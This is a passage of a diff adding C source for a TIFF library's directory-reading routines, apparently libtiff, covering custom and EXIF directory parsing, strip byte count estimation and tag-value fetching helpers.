+	if (td->td_photometric == PHOTOMETRIC_PALETTE &&
+	    !TIFFFieldSet(tif, FIELD_COLORMAP)) {
+		MissingRequired(tif, "Colormap");
+		goto bad;
+	}
+	/*
+	 * Attempt to deal with a missing StripByteCounts tag.
+	 */
+	if (!TIFFFieldSet(tif, FIELD_STRIPBYTECOUNTS)) {
+		/*
+		 * Some manufacturers violate the spec by not giving
+		 * the size of the strips.  In this case, assume there
+		 * is one uncompressed strip of data.
+		 */
+		if ((td->td_planarconfig == PLANARCONFIG_CONTIG &&
+		    td->td_nstrips > 1) ||
+		    (td->td_planarconfig == PLANARCONFIG_SEPARATE &&
+		     td->td_nstrips != td->td_samplesperpixel)) {
+		    MissingRequired(tif, "StripByteCounts");
+		    goto bad;
+		}
+		TIFFWarningExt(tif->tif_clientdata, module,
+			"%s: TIFF directory is missing required "
+			"\"%s\" field, calculating from imagelength",
+			tif->tif_name,
+		        _TIFFFieldWithTag(tif,TIFFTAG_STRIPBYTECOUNTS)->field_name);
+		if (EstimateStripByteCounts(tif, dir, dircount) < 0)
+		    goto bad;
+/* 
+ * Assume we have wrong StripByteCount value (in case of single strip) in
+ * following cases:
+ *   - it is equal to zero along with StripOffset;
+ *   - it is larger than file itself (in case of uncompressed image);
+ *   - it is smaller than the size of the bytes per row multiplied on the
+ *     number of rows.  The last case should not be checked in the case of
+ *     writing new image, because we may do not know the exact strip size
+ *     until the whole image will be written and directory dumped out.
+ */
+#define	BYTECOUNTLOOKSBAD \
+    ( (td->td_stripbytecount[0] == 0 && td->td_stripoffset[0] != 0) || \
+      (td->td_compression == COMPRESSION_NONE && \
+       td->td_stripbytecount[0] > TIFFGetFileSize(tif) - td->td_stripoffset[0]) || \
+      (tif->tif_mode == O_RDONLY && \
+       td->td_compression == COMPRESSION_NONE && \
+       td->td_stripbytecount[0] < TIFFScanlineSize(tif) * td->td_imagelength) )
+
+	} else if (td->td_nstrips == 1 
+                   && td->td_stripoffset[0] != 0 
+                   && BYTECOUNTLOOKSBAD) {
+		/*
+		 * XXX: Plexus (and others) sometimes give a value of zero for
+		 * a tag when they don't know what the correct value is!  Try
+		 * and handle the simple case of estimating the size of a one
+		 * strip image.
+		 */
+		TIFFWarningExt(tif->tif_clientdata, module,
+	"%s: Bogus \"%s\" field, ignoring and calculating from imagelength",
+                            tif->tif_name,
+		            _TIFFFieldWithTag(tif,TIFFTAG_STRIPBYTECOUNTS)->field_name);
+		if(EstimateStripByteCounts(tif, dir, dircount) < 0)
+		    goto bad;
+	} else if (td->td_planarconfig == PLANARCONFIG_CONTIG
+		   && td->td_nstrips > 2
+		   && td->td_compression == COMPRESSION_NONE
+		   && td->td_stripbytecount[0] != td->td_stripbytecount[1]) {
+		/*
+		 * XXX: Some vendors fill StripByteCount array with absolutely
+		 * wrong values (it can be equal to StripOffset array, for
+		 * example). Catch this case here.
+		 */
+		TIFFWarningExt(tif->tif_clientdata, module,
+	"%s: Wrong \"%s\" field, ignoring and calculating from imagelength",
+                            tif->tif_name,
+		            _TIFFFieldWithTag(tif,TIFFTAG_STRIPBYTECOUNTS)->field_name);
+		if (EstimateStripByteCounts(tif, dir, dircount) < 0)
+		    goto bad;
+	}
+	if (dir) {
+		_TIFFfree((char *)dir);
+		dir = NULL;
+	}
+	if (!TIFFFieldSet(tif, FIELD_MAXSAMPLEVALUE))
+		td->td_maxsamplevalue = (uint16)((1L<<td->td_bitspersample)-1);
+	/*
+	 * Setup default compression scheme.
+	 */
+
+	/*
+	 * XXX: We can optimize checking for the strip bounds using the sorted
+	 * bytecounts array. See also comments for TIFFAppendToStrip()
+	 * function in tif_write.c.
+	 */
+	if (td->td_nstrips > 1) {
+		tstrip_t strip;
+
+		td->td_stripbytecountsorted = 1;
+		for (strip = 1; strip < td->td_nstrips; strip++) {
+			if (td->td_stripoffset[strip - 1] >
+			    td->td_stripoffset[strip]) {
+				td->td_stripbytecountsorted = 0;
+				break;
+			}
+		}
+	}
+
+	if (!TIFFFieldSet(tif, FIELD_COMPRESSION))
+		TIFFSetField(tif, TIFFTAG_COMPRESSION, COMPRESSION_NONE);
+        /*
+         * Some manufacturers make life difficult by writing
+	 * large amounts of uncompressed data as a single strip.
+	 * This is contrary to the recommendations of the spec.
+         * The following makes an attempt at breaking such images
+	 * into strips closer to the recommended 8k bytes.  A
+	 * side effect, however, is that the RowsPerStrip tag
+	 * value may be changed.
+         */
+	if (td->td_nstrips == 1 && td->td_compression == COMPRESSION_NONE &&
+	    (tif->tif_flags & (TIFF_STRIPCHOP|TIFF_ISTILED)) == TIFF_STRIPCHOP)
+		ChopUpSingleUncompressedStrip(tif);
+
+	/*
+	 * Reinitialize i/o since we are starting on a new directory.
+	 */
+	tif->tif_row = (uint32) -1;
+	tif->tif_curstrip = (tstrip_t) -1;
+	tif->tif_col = (uint32) -1;
+	tif->tif_curtile = (ttile_t) -1;
+	tif->tif_tilesize = (tsize_t) -1;
+
+	tif->tif_scanlinesize = TIFFScanlineSize(tif);
+	if (!tif->tif_scanlinesize) {
+		TIFFErrorExt(tif->tif_clientdata, module, "%s: cannot handle zero scanline size",
+			  tif->tif_name);
+		return (0);
+	}
+
+	if (isTiled(tif)) {
+		tif->tif_tilesize = TIFFTileSize(tif);
+		if (!tif->tif_tilesize) {
+			TIFFErrorExt(tif->tif_clientdata, module, "%s: cannot handle zero tile size",
+				  tif->tif_name);
+			return (0);
+		}
+	} else {
+		if (!TIFFStripSize(tif)) {
+			TIFFErrorExt(tif->tif_clientdata, module, "%s: cannot handle zero strip size",
+				  tif->tif_name);
+			return (0);
+		}
+	}
+	return (1);
+bad:
+	if (dir)
+		_TIFFfree(dir);
+	return (0);
+}
+
+/* 
+ * Read custom directory from the arbitarry offset.
+ * The code is very similar to TIFFReadDirectory().
+ */
+int
+TIFFReadCustomDirectory(TIFF* tif, toff_t diroff,
+			const TIFFFieldInfo info[], size_t n)
+{
+	static const char module[] = "TIFFReadCustomDirectory";
+
+	TIFFDirectory* td = &tif->tif_dir;
+	TIFFDirEntry *dp, *dir = NULL;
+	const TIFFFieldInfo* fip;
+	size_t fix;
+	uint16 i, dircount;
+
+	_TIFFSetupFieldInfo(tif, info, n);
+
+	tif->tif_diroff = diroff;
+
+	if (!isMapped(tif)) {
+		if (!SeekOK(tif, diroff)) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+			    "%s: Seek error accessing TIFF directory",
+                            tif->tif_name);
+			return (0);
+		}
+		if (!ReadOK(tif, &dircount, sizeof (uint16))) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+			    "%s: Can not read TIFF directory count",
+                            tif->tif_name);
+			return (0);
+		}
+		if (tif->tif_flags & TIFF_SWAB)
+			TIFFSwabShort(&dircount);
+		dir = (TIFFDirEntry *)_TIFFCheckMalloc(tif, dircount,
+						       sizeof (TIFFDirEntry),
+					"to read TIFF custom directory");
+		if (dir == NULL)
+			return (0);
+		if (!ReadOK(tif, dir, dircount * sizeof (TIFFDirEntry))) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+                                  "%.100s: Can not read TIFF directory",
+                                  tif->tif_name);
+			goto bad;
+		}
+	} else {
+		toff_t off = diroff;
+
+		if (off + sizeof (uint16) > tif->tif_size) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+			    "%s: Can not read TIFF directory count",
+                            tif->tif_name);
+			return (0);
+		} else
+			_TIFFmemcpy(&dircount, tif->tif_base + off, sizeof (uint16));
+		off += sizeof (uint16);
+		if (tif->tif_flags & TIFF_SWAB)
+			TIFFSwabShort(&dircount);
+		dir = (TIFFDirEntry *)_TIFFCheckMalloc(tif, dircount,
+						       sizeof (TIFFDirEntry),
+					"to read TIFF custom directory");
+		if (dir == NULL)
+			return (0);
+		if (off + dircount * sizeof (TIFFDirEntry) > tif->tif_size) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+                                  "%s: Can not read TIFF directory",
+                                  tif->tif_name);
+			goto bad;
+		} else {
+			_TIFFmemcpy(dir, tif->tif_base + off,
+				    dircount * sizeof (TIFFDirEntry));
+		}
+	}
+
+	TIFFFreeDirectory(tif);
+
+	fix = 0;
+	for (dp = dir, i = dircount; i > 0; i--, dp++) {
+		if (tif->tif_flags & TIFF_SWAB) {
+			TIFFSwabArrayOfShort(&dp->tdir_tag, 2);
+			TIFFSwabArrayOfLong(&dp->tdir_count, 2);
+		}
+
+		if (fix >= tif->tif_nfields || dp->tdir_tag == IGNORE)
+			continue;
+
+		while (fix < tif->tif_nfields &&
+		       tif->tif_fieldinfo[fix]->field_tag < dp->tdir_tag)
+			fix++;
+
+		if (fix >= tif->tif_nfields ||
+		    tif->tif_fieldinfo[fix]->field_tag != dp->tdir_tag) {
+
+			TIFFWarningExt(tif->tif_clientdata, module,
+                        "%s: unknown field with tag %d (0x%x) encountered",
+				    tif->tif_name, dp->tdir_tag, dp->tdir_tag,
+				    dp->tdir_type);
+
+			TIFFMergeFieldInfo(tif,
+					   _TIFFCreateAnonFieldInfo(tif,
+						dp->tdir_tag,
+						(TIFFDataType)dp->tdir_type),
+					   1);
+
+			fix = 0;
+			while (fix < tif->tif_nfields &&
+			       tif->tif_fieldinfo[fix]->field_tag < dp->tdir_tag)
+				fix++;
+		}
+		/*
+		 * Null out old tags that we ignore.
+		 */
+		if (tif->tif_fieldinfo[fix]->field_bit == FIELD_IGNORE) {
+	ignore:
+			dp->tdir_tag = IGNORE;
+			continue;
+		}
+		/*
+		 * Check data type.
+		 */
+		fip = tif->tif_fieldinfo[fix];
+		while (dp->tdir_type != (unsigned short) fip->field_type
+                       && fix < tif->tif_nfields) {
+			if (fip->field_type == TIFF_ANY)	/* wildcard */
+				break;
+                        fip = tif->tif_fieldinfo[++fix];
+			if (fix >= tif->tif_nfields ||
+			    fip->field_tag != dp->tdir_tag) {
+				TIFFWarningExt(tif->tif_clientdata, module,
+			"%s: wrong data type %d for \"%s\"; tag ignored",
+					    tif->tif_name, dp->tdir_type,
+					    tif->tif_fieldinfo[fix-1]->field_name);
+				goto ignore;
+			}
+		}
+		/*
+		 * Check count if known in advance.
+		 */
+		if (fip->field_readcount != TIFF_VARIABLE
+		    && fip->field_readcount != TIFF_VARIABLE2) {
+			uint32 expected = (fip->field_readcount == TIFF_SPP) ?
+			    (uint32) td->td_samplesperpixel :
+			    (uint32) fip->field_readcount;
+			if (!CheckDirCount(tif, dp, expected))
+				goto ignore;
+		}
+
+		(void) TIFFFetchNormalTag(tif, dp);
+	}
+	
+	if (dir)
+		_TIFFfree(dir);
+	return 1;
+
+bad:
+	if (dir)
+		_TIFFfree(dir);
+	return 0;
+}
+
+/*
+ * EXIF is important special case of custom IFD, so we have a special
+ * function to read it.
+ */
+int
+TIFFReadEXIFDirectory(TIFF* tif, toff_t diroff)
+{
+	size_t exifFieldInfoCount;
+	const TIFFFieldInfo *exifFieldInfo =
+		_TIFFGetExifFieldInfo(&exifFieldInfoCount);
+	return TIFFReadCustomDirectory(tif, diroff, exifFieldInfo,
+				       exifFieldInfoCount);
+}
+
+static int
+EstimateStripByteCounts(TIFF* tif, TIFFDirEntry* dir, uint16 dircount)
+{
+	static const char module[] = "EstimateStripByteCounts";
+
+	register TIFFDirEntry *dp;
+	register TIFFDirectory *td = &tif->tif_dir;
+	uint16 i;
+
+	if (td->td_stripbytecount)
+		_TIFFfree(td->td_stripbytecount);
+	td->td_stripbytecount = (uint32*)
+	    _TIFFCheckMalloc(tif, td->td_nstrips, sizeof (uint32),
+		"for \"StripByteCounts\" array");
+	if (td->td_compression != COMPRESSION_NONE) {
+		uint32 space = (uint32)(sizeof (TIFFHeader)
+		    + sizeof (uint16)
+		    + (dircount * sizeof (TIFFDirEntry))
+		    + sizeof (uint32));
+		toff_t filesize = TIFFGetFileSize(tif);
+		uint16 n;
+
+		/* calculate amount of space used by indirect values */
+		for (dp = dir, n = dircount; n > 0; n--, dp++)
+		{
+			uint32 cc = TIFFDataWidth((TIFFDataType) dp->tdir_type);
+			if (cc == 0) {
+				TIFFErrorExt(tif->tif_clientdata, module,
+			"%s: Cannot determine size of unknown tag type %d",
+					  tif->tif_name, dp->tdir_type);
+				return -1;
+			}
+			cc = cc * dp->tdir_count;
+			if (cc > sizeof (uint32))
+				space += cc;
+		}
+		space = filesize - space;
+		if (td->td_planarconfig == PLANARCONFIG_SEPARATE)
+			space /= td->td_samplesperpixel;
+		for (i = 0; i < td->td_nstrips; i++)
+			td->td_stripbytecount[i] = space;
+		/*
+		 * This gross hack handles the case were the offset to
+		 * the last strip is past the place where we think the strip
+		 * should begin.  Since a strip of data must be contiguous,
+		 * it's safe to assume that we've overestimated the amount
+		 * of data in the strip and trim this number back accordingly.
+		 */ 
+		i--;
+		if (((toff_t)(td->td_stripoffset[i]+td->td_stripbytecount[i]))
+                                                               > filesize)
+			td->td_stripbytecount[i] =
+			    filesize - td->td_stripoffset[i];
+	} else {
+		uint32 rowbytes = TIFFScanlineSize(tif);
+		uint32 rowsperstrip = td->td_imagelength/td->td_stripsperimage;
+		for (i = 0; i < td->td_nstrips; i++)
+			td->td_stripbytecount[i] = rowbytes*rowsperstrip;
+	}
+	TIFFSetFieldBit(tif, FIELD_STRIPBYTECOUNTS);
+	if (!TIFFFieldSet(tif, FIELD_ROWSPERSTRIP))
+		td->td_rowsperstrip = td->td_imagelength;
+	return 1;
+}
+
+static void
+MissingRequired(TIFF* tif, const char* tagname)
+{
+	static const char module[] = "MissingRequired";
+
+	TIFFErrorExt(tif->tif_clientdata, module,
+		  "%s: TIFF directory is missing required \"%s\" field",
+		  tif->tif_name, tagname);
+}
+
+/*
+ * Check the count field of a directory
+ * entry against a known value.  The caller
+ * is expected to skip/ignore the tag if
+ * there is a mismatch.
+ */
+static int
+CheckDirCount(TIFF* tif, TIFFDirEntry* dir, uint32 count)
+{
+	if (count > dir->tdir_count) {
+		TIFFWarningExt(tif->tif_clientdata, tif->tif_name,
+	"incorrect count for field \"%s\" (%lu, expecting %lu); tag ignored",
+		    _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name,
+		    dir->tdir_count, count);
+		return (0);
+	} else if (count < dir->tdir_count) {
+		TIFFWarningExt(tif->tif_clientdata, tif->tif_name,
+	"incorrect count for field \"%s\" (%lu, expecting %lu); tag trimmed",
+		    _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name,
+		    dir->tdir_count, count);
+		return (1);
+	}
+	return (1);
+}
+
+/*
+ * Fetch a contiguous directory item.
+ */
+static tsize_t
+TIFFFetchData(TIFF* tif, TIFFDirEntry* dir, char* cp)
+{
+	int w = TIFFDataWidth((TIFFDataType) dir->tdir_type);
+	tsize_t cc = dir->tdir_count * w;
+
+	/* Check for overflow. */
+	if (!dir->tdir_count || !w || cc / w != (tsize_t)dir->tdir_count)
+		goto bad;
+
+	if (!isMapped(tif)) {
+		if (!SeekOK(tif, dir->tdir_offset))
+			goto bad;
+		if (!ReadOK(tif, cp, cc))
+			goto bad;
+	} else {
+		/* Check for overflow. */
+		if ((tsize_t)dir->tdir_offset + cc < (tsize_t)dir->tdir_offset
+		    || (tsize_t)dir->tdir_offset + cc < cc
+		    || (tsize_t)dir->tdir_offset + cc > (tsize_t)tif->tif_size)
+			goto bad;
+		_TIFFmemcpy(cp, tif->tif_base + dir->tdir_offset, cc);
+	}
+	if (tif->tif_flags & TIFF_SWAB) {
+		switch (dir->tdir_type) {
+		case TIFF_SHORT:
+		case TIFF_SSHORT:
+			TIFFSwabArrayOfShort((uint16*) cp, dir->tdir_count);
+			break;
+		case TIFF_LONG:
+		case TIFF_SLONG:
+		case TIFF_FLOAT:
+			TIFFSwabArrayOfLong((uint32*) cp, dir->tdir_count);
+			break;
+		case TIFF_RATIONAL:
+		case TIFF_SRATIONAL:
+			TIFFSwabArrayOfLong((uint32*) cp, 2*dir->tdir_count);
+			break;
+		case TIFF_DOUBLE:
+			TIFFSwabArrayOfDouble((double*) cp, dir->tdir_count);
+			break;
+		}
+	}
+	return (cc);
+bad:
+	TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		     "Error fetching data for field \"%s\"",
+		     _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name);
+	return (tsize_t) 0;
+}
+
+/*
+ * Fetch an ASCII item from the file.
+ */
+static tsize_t
+TIFFFetchString(TIFF* tif, TIFFDirEntry* dir, char* cp)
+{
+	if (dir->tdir_count <= 4) {
+		uint32 l = dir->tdir_offset;
+		if (tif->tif_flags & TIFF_SWAB)
+			TIFFSwabLong(&l);
+		_TIFFmemcpy(cp, &l, dir->tdir_count);
+		return (1);
+	}
+	return (TIFFFetchData(tif, dir, cp));
+}
+
+/*
+ * Convert numerator+denominator to float.
+ */
+static int
+cvtRational(TIFF* tif, TIFFDirEntry* dir, uint32 num, uint32 denom, float* rv)
+{
+	if (denom == 0) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "%s: Rational with zero denominator (num = %lu)",
+		    _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name, num);
+		return (0);
+	} else {
+		if (dir->tdir_type == TIFF_RATIONAL)
+			*rv = ((float)num / (float)denom);
+		else
+			*rv = ((float)(int32)num / (float)(int32)denom);
+		return (1);
+	}
+}
+
+/*
+ * Fetch a rational item from the file
+ * at offset off and return the value
+ * as a floating point number.
+ */
+static float
+TIFFFetchRational(TIFF* tif, TIFFDirEntry* dir)
+{
+	uint32 l[2];
+	float v;
+
+	return (!TIFFFetchData(tif, dir, (char *)l) ||
+	    !cvtRational(tif, dir, l[0], l[1], &v) ? 1.0f : v);
+}
+
+/*
+ * Fetch a single floating point value
+ * from the offset field and return it
+ * as a native float.
+ */
+static float
+TIFFFetchFloat(TIFF* tif, TIFFDirEntry* dir)
+{
+	float v;
+	int32 l = TIFFExtractData(tif, dir->tdir_type, dir->tdir_offset);
+        _TIFFmemcpy(&v, &l, sizeof(float));
+	TIFFCvtIEEEFloatToNative(tif, 1, &v);
+	return (v);
+}
+
+/*
+ * Fetch an array of BYTE or SBYTE values.
+ */
+static int
+TIFFFetchByteArray(TIFF* tif, TIFFDirEntry* dir, uint8* v)
+{
+    if (dir->tdir_count <= 4) {
+        /*
+         * Extract data from offset field.
+         */
+        if (tif->tif_header.tiff_magic == TIFF_BIGENDIAN) {
+	    if (dir->tdir_type == TIFF_SBYTE)
+                switch (dir->tdir_count) {
+                    case 4: v[3] = dir->tdir_offset & 0xff;
+                    case 3: v[2] = (dir->tdir_offset >> 8) & 0xff;
+                    case 2: v[1] = (dir->tdir_offset >> 16) & 0xff;
+		    case 1: v[0] = dir->tdir_offset >> 24;
+                }
+	    else
+                switch (dir->tdir_count) {
+                    case 4: v[3] = dir->tdir_offset & 0xff;
+                    case 3: v[2] = (dir->tdir_offset >> 8) & 0xff;
+                    case 2: v[1] = (dir->tdir_offset >> 16) & 0xff;
+		    case 1: v[0] = dir->tdir_offset >> 24;
+                }
+	} else {
+	    if (dir->tdir_type == TIFF_SBYTE)
+                switch (dir->tdir_count) {
+                    case 4: v[3] = dir->tdir_offset >> 24;
+                    case 3: v[2] = (dir->tdir_offset >> 16) & 0xff;
+                    case 2: v[1] = (dir->tdir_offset >> 8) & 0xff;
+                    case 1: v[0] = dir->tdir_offset & 0xff;
+		}
+	    else
+                switch (dir->tdir_count) {
+                    case 4: v[3] = dir->tdir_offset >> 24;
+                    case 3: v[2] = (dir->tdir_offset >> 16) & 0xff;
+                    case 2: v[1] = (dir->tdir_offset >> 8) & 0xff;
+                    case 1: v[0] = dir->tdir_offset & 0xff;
+		}
+	}
+        return (1);
+    } else
+        return (TIFFFetchData(tif, dir, (char*) v) != 0);	/* XXX */
+}
+
+/*
+ * Fetch an array of SHORT or SSHORT values.
+ */
+static int
+TIFFFetchShortArray(TIFF* tif, TIFFDirEntry* dir, uint16* v)
+{
+	if (dir->tdir_count <= 2) {
+		if (tif->tif_header.tiff_magic == TIFF_BIGENDIAN) {
+			switch (dir->tdir_count) {
+			case 2: v[1] = (uint16) (dir->tdir_offset & 0xffff);
+			case 1: v[0] = (uint16) (dir->tdir_offset >> 16);
+			}
+		} else {
+			switch (dir->tdir_count) {
+			case 2: v[1] = (uint16) (dir->tdir_offset >> 16);
+			case 1: v[0] = (uint16) (dir->tdir_offset & 0xffff);
+			}
+		}
+		return (1);
+	} else
+		return (TIFFFetchData(tif, dir, (char *)v) != 0);
+}
+
+/*
+ * Fetch a pair of SHORT or BYTE values. Some tags may have either BYTE
+ * or SHORT type and this function works with both ones.
+ */
+static int
+TIFFFetchShortPair(TIFF* tif, TIFFDirEntry* dir)
+{
+	switch (dir->tdir_type) {
+		case TIFF_BYTE:
+		case TIFF_SBYTE:
+			{
+			uint8 v[4];
+			return TIFFFetchByteArray(tif, dir, v)
+				&& TIFFSetField(tif, dir->tdir_tag, v[0], v[1]);
+			}
+		case TIFF_SHORT:
+		case TIFF_SSHORT:
+			{
+			uint16 v[2];
+			return TIFFFetchShortArray(tif, dir, v)
+				&& TIFFSetField(tif, dir->tdir_tag, v[0], v[1]);
+			}
+		default:
+			return 0;
+	}
+}
+
+/*
+ * Fetch an array of LONG or SLONG values.
+ */
+static int
+TIFFFetchLongArray(TIFF* tif, TIFFDirEntry* dir, uint32* v)
+{
+	if (dir->tdir_count == 1) {
+		v[0] = dir->tdir_offset;
+		return (1);
+	} else
+		return (TIFFFetchData(tif, dir, (char*) v) != 0);
+}
+
+/*
+ * Fetch an array of RATIONAL or SRATIONAL values.
+ */
+static int
+TIFFFetchRationalArray(TIFF* tif, TIFFDirEntry* dir, float* v)
+{
+	int ok = 0;
+	uint32* l;
+
+	l = (uint32*)_TIFFCheckMalloc(tif,
+	    dir->tdir_count, TIFFDataWidth((TIFFDataType) dir->tdir_type),
+	    "to fetch array of rationals");
+	if (l) {
+		if (TIFFFetchData(tif, dir, (char *)l)) {
+			uint32 i;
+			for (i = 0; i < dir->tdir_count; i++) {
+				ok = cvtRational(tif, dir,
+				    l[2*i+0], l[2*i+1], &v[i]);
+				if (!ok)
+					break;
+			}
+		}
+		_TIFFfree((char *)l);
+	}
+	return (ok);
+}
+
+/*
+ * Fetch an array of FLOAT values.
+ */
+static int
+TIFFFetchFloatArray(TIFF* tif, TIFFDirEntry* dir, float* v)
+{
+
+	if (dir->tdir_count == 1) {
+		v[0] = *(float*) &dir->tdir_offset;
+		TIFFCvtIEEEFloatToNative(tif, dir->tdir_count, v);
+		return (1);
+	} else	if (TIFFFetchData(tif, dir, (char*) v)) {
+		TIFFCvtIEEEFloatToNative(tif, dir->tdir_count, v);
+		return (1);
+	} else
+		return (0);
+}
+
+/*
+ * Fetch an array of DOUBLE values.
+ */
+static int
+TIFFFetchDoubleArray(TIFF* tif, TIFFDirEntry* dir, double* v)
+{
+	if (TIFFFetchData(tif, dir, (char*) v)) {
+		TIFFCvtIEEEDoubleToNative(tif, dir->tdir_count, v);
+		return (1);
+	} else
+		return (0);
+}
+
+/*
+ * Fetch an array of ANY values.  The actual values are
+ * returned as doubles which should be able hold all the
+ * types.  Yes, there really should be an tany_t to avoid
+ * this potential non-portability ...  Note in particular
+ * that we assume that the double return value vector is
+ * large enough to read in any fundamental type.  We use
+ * that vector as a buffer to read in the base type vector
+ * and then convert it in place to double (from end
+ * to front of course).
+ */
+static int
+TIFFFetchAnyArray(TIFF* tif, TIFFDirEntry* dir, double* v)
+{
+	int i;
+
+	switch (dir->tdir_type) {
+	case TIFF_BYTE:
+	case TIFF_SBYTE:
+		if (!TIFFFetchByteArray(tif, dir, (uint8*) v))
+			return (0);
+		if (dir->tdir_type == TIFF_BYTE) {
+			uint8* vp = (uint8*) v;
+			for (i = dir->tdir_count-1; i >= 0; i--)
+				v[i] = vp[i];
+		} else {
+			int8* vp = (int8*) v;
+			for (i = dir->tdir_count-1; i >= 0; i--)
+				v[i] = vp[i];
+		}
+		break;
+	case TIFF_SHORT:
+	case TIFF_SSHORT:
+		if (!TIFFFetchShortArray(tif, dir, (uint16*) v))
+			return (0);
+		if (dir->tdir_type == TIFF_SHORT) {
+			uint16* vp = (uint16*) v;
+			for (i = dir->tdir_count-1; i >= 0; i--)
+				v[i] = vp[i];
+		} else {
+			int16* vp = (int16*) v;
+			for (i = dir->tdir_count-1; i >= 0; i--)
+				v[i] = vp[i];
+		}
+		break;
+	case TIFF_LONG:
+	case TIFF_SLONG:
+		if (!TIFFFetchLongArray(tif, dir, (uint32*) v))
+			return (0);
+		if (dir->tdir_type == TIFF_LONG) {
+			uint32* vp = (uint32*) v;
+			for (i = dir->tdir_count-1; i >= 0; i--)
+				v[i] = vp[i];
+		} else {
+			int32* vp = (int32*) v;
+			for (i = dir->tdir_count-1; i >= 0; i--)
+				v[i] = vp[i];
+		}
+		break;
+	case TIFF_RATIONAL:
+	case TIFF_SRATIONAL:
+		if (!TIFFFetchRationalArray(tif, dir, (float*) v))
+			return (0);
+		{ float* vp = (float*) v;
+		  for (i = dir->tdir_count-1; i >= 0; i--)
+			v[i] = vp[i];
+		}
+		break;
+	case TIFF_FLOAT:
+		if (!TIFFFetchFloatArray(tif, dir, (float*) v))
+			return (0);
+		{ float* vp = (float*) v;
+		  for (i = dir->tdir_count-1; i >= 0; i--)
+			v[i] = vp[i];
+		}
+		break;
+	case TIFF_DOUBLE:
+		return (TIFFFetchDoubleArray(tif, dir, (double*) v));
+	default:
+		/* TIFF_NOTYPE */
+		/* TIFF_ASCII */
+		/* TIFF_UNDEFINED */
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			     "cannot read TIFF_ANY type %d for field \"%s\"",
+			     dir->tdir_type,
+			     _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name);
+		return (0);
+	}
+	return (1);
+}
+
+/*
+ * Fetch a tag that is not handled by special case code.
+ */
+static int
+TIFFFetchNormalTag(TIFF* tif, TIFFDirEntry* dp)
+{
+	static const char mesg[] = "to fetch tag value";
+	int ok = 0;
+	const TIFFFieldInfo* fip = _TIFFFieldWithTag(tif, dp->tdir_tag);
+
+	if (dp->tdir_count > 1) {		/* array of values */
+		char* cp = NULL;
+
+		switch (dp->tdir_type) {
+		case TIFF_BYTE:
+		case TIFF_SBYTE:
+			cp = (char *)_TIFFCheckMalloc(tif,
+			    dp->tdir_count, sizeof (uint8), mesg);
+			ok = cp && TIFFFetchByteArray(tif, dp, (uint8*) cp);
+			break;
+		case TIFF_SHORT:
+		case TIFF_SSHORT:
+			cp = (char *)_TIFFCheckMalloc(tif,
+			    dp->tdir_count, sizeof (uint16), mesg);
+			ok = cp && TIFFFetchShortArray(tif, dp, (uint16*) cp);
+			break;
+		case TIFF_LONG:
+		case TIFF_SLONG:
+			cp = (char *)_TIFFCheckMalloc(tif,
+			    dp->tdir_count, sizeof (uint32), mesg);
+			ok = cp && TIFFFetchLongArray(tif, dp, (uint32*) cp);
+			break;
+		case TIFF_RATIONAL:
+		case TIFF_SRATIONAL:
+			cp = (char *)_TIFFCheckMalloc(tif,
+			    dp->tdir_count, sizeof (float), mesg);
+			ok = cp && TIFFFetchRationalArray(tif, dp, (float*) cp);
+			break;
+		case TIFF_FLOAT:
+			cp = (char *)_TIFFCheckMalloc(tif,
+			    dp->tdir_count, sizeof (float), mesg);
+			ok = cp && TIFFFetchFloatArray(tif, dp, (float*) cp);
+			break;
+		case TIFF_DOUBLE:
+			cp = (char *)_TIFFCheckMalloc(tif,
+			    dp->tdir_count, sizeof (double), mesg);
+			ok = cp && TIFFFetchDoubleArray(tif, dp, (double*) cp);
+			break;
+		case TIFF_ASCII:
+		case TIFF_UNDEFINED:		/* bit of a cheat... */
+			/*
+			 * Some vendors write strings w/o the trailing
+			 * NULL byte, so always append one just in case.
+			 */
+			cp = (char *)_TIFFCheckMalloc(tif, dp->tdir_count + 1,
+						      1, mesg);
+			if( (ok = (cp && TIFFFetchString(tif, dp, cp))) != 0 )
+				cp[dp->tdir_count] = '\0';	/* XXX */
+			break;
+		}
+		if (ok) {
+			ok = (fip->field_passcount ?
+			    TIFFSetField(tif, dp->tdir_tag, dp->tdir_count, cp)
+			  : TIFFSetField(tif, dp->tdir_tag, cp));
+		}
+		if (cp != NULL)
+			_TIFFfree(cp);
+	} else if (CheckDirCount(tif, dp, 1)) {	/* singleton value */
+		switch (dp->tdir_type) {
+		case TIFF_BYTE:
+		case TIFF_SBYTE:
+		case TIFF_SHORT:
+		case TIFF_SSHORT:
+			/*
+			 * If the tag is also acceptable as a LONG or SLONG
+			 * then TIFFSetField will expect an uint32 parameter
+			 * passed to it (through varargs).  Thus, for machines
+			 * where sizeof (int) != sizeof (uint32) we must do
+			 * a careful check here.  It's hard to say if this
+			 * is worth optimizing.
+			 *
+			 * NB: We use TIFFFieldWithTag here knowing that
+			 *     it returns us the first entry in the table
+			 *     for the tag and that that entry is for the
+			 *     widest potential data type the tag may have.
+			 */
+			{ TIFFDataType type = fip->field_type;
+			  if (type != TIFF_LONG && type != TIFF_SLONG) {
+				uint16 v = (uint16)
+			   TIFFExtractData(tif, dp->tdir_type, dp->tdir_offset);
+				ok = (fip->field_passcount ?
+				    TIFFSetField(tif, dp->tdir_tag, 1, &v)
+				  : TIFFSetField(tif, dp->tdir_tag, v));
+				break;
+			  }
+			}
+			/* fall thru... */
+		case TIFF_LONG:
+		case TIFF_SLONG:
+			{ uint32 v32 =
+		    TIFFExtractData(tif, dp->tdir_type, dp->tdir_offset);
+			  ok = (fip->field_passcount ? 
+			      TIFFSetField(tif, dp->tdir_tag, 1, &v32)
+			    : TIFFSetField(tif, dp->tdir_tag, v32));
+			}
+			break;
+		case TIFF_RATIONAL:
+		case TIFF_SRATIONAL:
+		case TIFF_FLOAT:
+			{ float v = (dp->tdir_type == TIFF_FLOAT ? 
+			      TIFFFetchFloat(tif, dp)
+			    : TIFFFetchRational(tif, dp));
+			  ok = (fip->field_passcount ?
